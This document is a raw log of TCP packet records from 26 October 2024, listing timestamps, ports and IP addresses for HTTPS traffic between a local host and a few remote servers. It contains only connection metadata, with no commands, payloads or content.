Oct 26, 2024 13:49:05.255810976 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.255836964 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.255882978 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.255889893 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.257503986 CEST	443	49749	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:05.257725000 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:05.257740974 CEST	443	49749	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:05.258789062 CEST	443	49749	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:05.258856058 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:05.260087013 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:05.260169029 CEST	443	49749	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:05.260385036 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:05.260406017 CEST	443	49749	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:05.279325008 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.285031080 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:05.285063028 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:05.285115004 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:05.285398960 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:05.285409927 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:05.286022902 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.286272049 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.286294937 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.287301064 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.287323952 CEST	443	49748	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.287333965 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.287362099 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.287796021 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.287851095 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.287961006 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.287967920 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.292241096 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.292519093 CEST	49751	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.292531967 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.292866945 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.293159008 CEST	49751	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.293205976 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.293338060 CEST	49751	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.308757067 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:05.308799028 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:05.308857918 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:05.310108900 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:05.310128927 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:05.314100981 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.314129114 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.314174891 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.314186096 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.314229012 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.335338116 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.369045019 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.369405985 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.369431019 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.370488882 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.370542049 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.370913982 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.370980024 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.371170998 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.371181965 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.373704910 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.373820066 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:05.412461042 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.412915945 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.412930965 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.413966894 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.414202929 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.414565086 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.414623022 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.414937973 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.414946079 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.420562983 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.420593023 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.420634031 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.420656919 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.420684099 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.420763016 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.445293903 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.479222059 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.479568958 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.479593992 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.479857922 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.480010986 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.480041027 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.480626106 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.480679035 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.481061935 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.481106043 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.481384039 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.481405020 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.481442928 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.481494904 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.481590033 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.481599092 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.481796026 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.496676922 CEST	443	49748	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.496767998 CEST	443	49748	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.496815920 CEST	49748	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.497277021 CEST	49748	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.497303009 CEST	443	49748	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.497318029 CEST	49748	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.497348070 CEST	49748	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.498603106 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.498629093 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.498662949 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.498682976 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.498711109 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.498728991 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.506500959 CEST	443	49749	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:05.506568909 CEST	443	49749	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:05.506613970 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:05.506901979 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:05.506922960 CEST	443	49749	212.42.75.248	192.168.2.5
Oct 26, 2024 13:49:05.506936073 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:05.506961107 CEST	49749	443	192.168.2.5	212.42.75.248
Oct 26, 2024 13:49:05.527328014 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.544433117 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.544461012 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.544493914 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.544513941 CEST	49751	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.544527054 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.544550896 CEST	49751	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.544569969 CEST	49751	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.546015024 CEST	49751	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.546034098 CEST	443	49751	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.548320055 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.548350096 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.548407078 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.548427105 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.548440933 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.548455954 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.548791885 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.561877966 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.561904907 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.561961889 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.561973095 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.602085114 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.602113008 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.602121115 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.602152109 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.602169037 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.602174044 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.602175951 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.602195978 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.602238894 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.602238894 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.615649939 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.615679026 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.615695000 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.615745068 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.615763903 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.615786076 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.615809917 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.619806051 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.619852066 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.619862080 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.619882107 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.619891882 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.619952917 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.619952917 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.619970083 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.619996071 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.620008945 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.620043993 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.639903069 CEST	49753	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.639929056 CEST	443	49753	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.640217066 CEST	49762	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.640259981 CEST	443	49762	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.640310049 CEST	49762	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.643815994 CEST	49762	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.643826008 CEST	443	49762	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.644601107 CEST	49746	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.644610882 CEST	443	49746	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.644879103 CEST	49763	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.644917965 CEST	443	49763	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.644963980 CEST	49763	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.645886898 CEST	49763	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.645900011 CEST	443	49763	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.649756908 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.649785995 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.649792910 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.649808884 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.649817944 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.649825096 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.649841070 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.649873018 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.649893999 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.649902105 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.649933100 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.654552937 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.654578924 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.654609919 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.654618979 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.654655933 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.658957005 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.660326958 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.661891937 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.661911964 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.662040949 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.662058115 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.662832975 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.663026094 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.663083076 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.663758039 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.663947105 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.664027929 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.664124012 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.664139986 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.664674044 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.664730072 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.665091991 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.665116072 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.665124893 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.665143967 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.665158033 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.665174007 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.665198088 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.665198088 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.665256023 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.665404081 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.665417910 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.666954041 CEST	49754	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.666966915 CEST	443	49754	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.667499065 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.667553902 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.667604923 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.668364048 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.668385983 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.732714891 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.732748032 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.732795954 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.732805014 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.732829094 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.732846975 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.734181881 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.734210968 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.734219074 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.734230995 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.734237909 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.734297991 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.734304905 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.734304905 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.734442949 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.735622883 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.735647917 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.735686064 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.735707045 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.735722065 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.739533901 CEST	49756	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.739562035 CEST	443	49756	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.744349003 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.744389057 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.744424105 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.744427919 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.744466066 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.744687080 CEST	49747	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.744704962 CEST	443	49747	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.745121002 CEST	49765	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.745162964 CEST	443	49765	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.745218039 CEST	49765	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.745711088 CEST	49765	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.745728016 CEST	443	49765	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.749427080 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.749433994 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.749452114 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.765408039 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.766961098 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.766978025 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.767024040 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.767035007 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.767038107 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.767076015 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.767090082 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.767110109 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.767136097 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.767154932 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.773160934 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.773176908 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.773210049 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.773225069 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.773248911 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.773288012 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.773637056 CEST	49750	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.773660898 CEST	443	49750	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.773998022 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.774028063 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.774113894 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.774692059 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.774708033 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.782731056 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.782764912 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.782810926 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.782819033 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.782861948 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.849559069 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.849581003 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.849589109 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.849611044 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.849625111 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.849631071 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.849647045 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.849710941 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.849750996 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.849766016 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.851139069 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.851159096 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.851205111 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.851223946 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.851247072 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.851264954 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.851418018 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.856359005 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.856414080 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.856432915 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.856448889 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.856467962 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.856539011 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.861747980 CEST	49755	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.861768961 CEST	443	49755	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.900207996 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.900233984 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.900274038 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.900283098 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.900333881 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.914513111 CEST	49768	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.914549112 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.914819956 CEST	49768	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.914819956 CEST	49768	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.914844036 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.916512966 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.916544914 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.916553020 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.916572094 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.916580915 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.916630030 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.916690111 CEST	49758	443	192.168.2.5	212.42.75.253
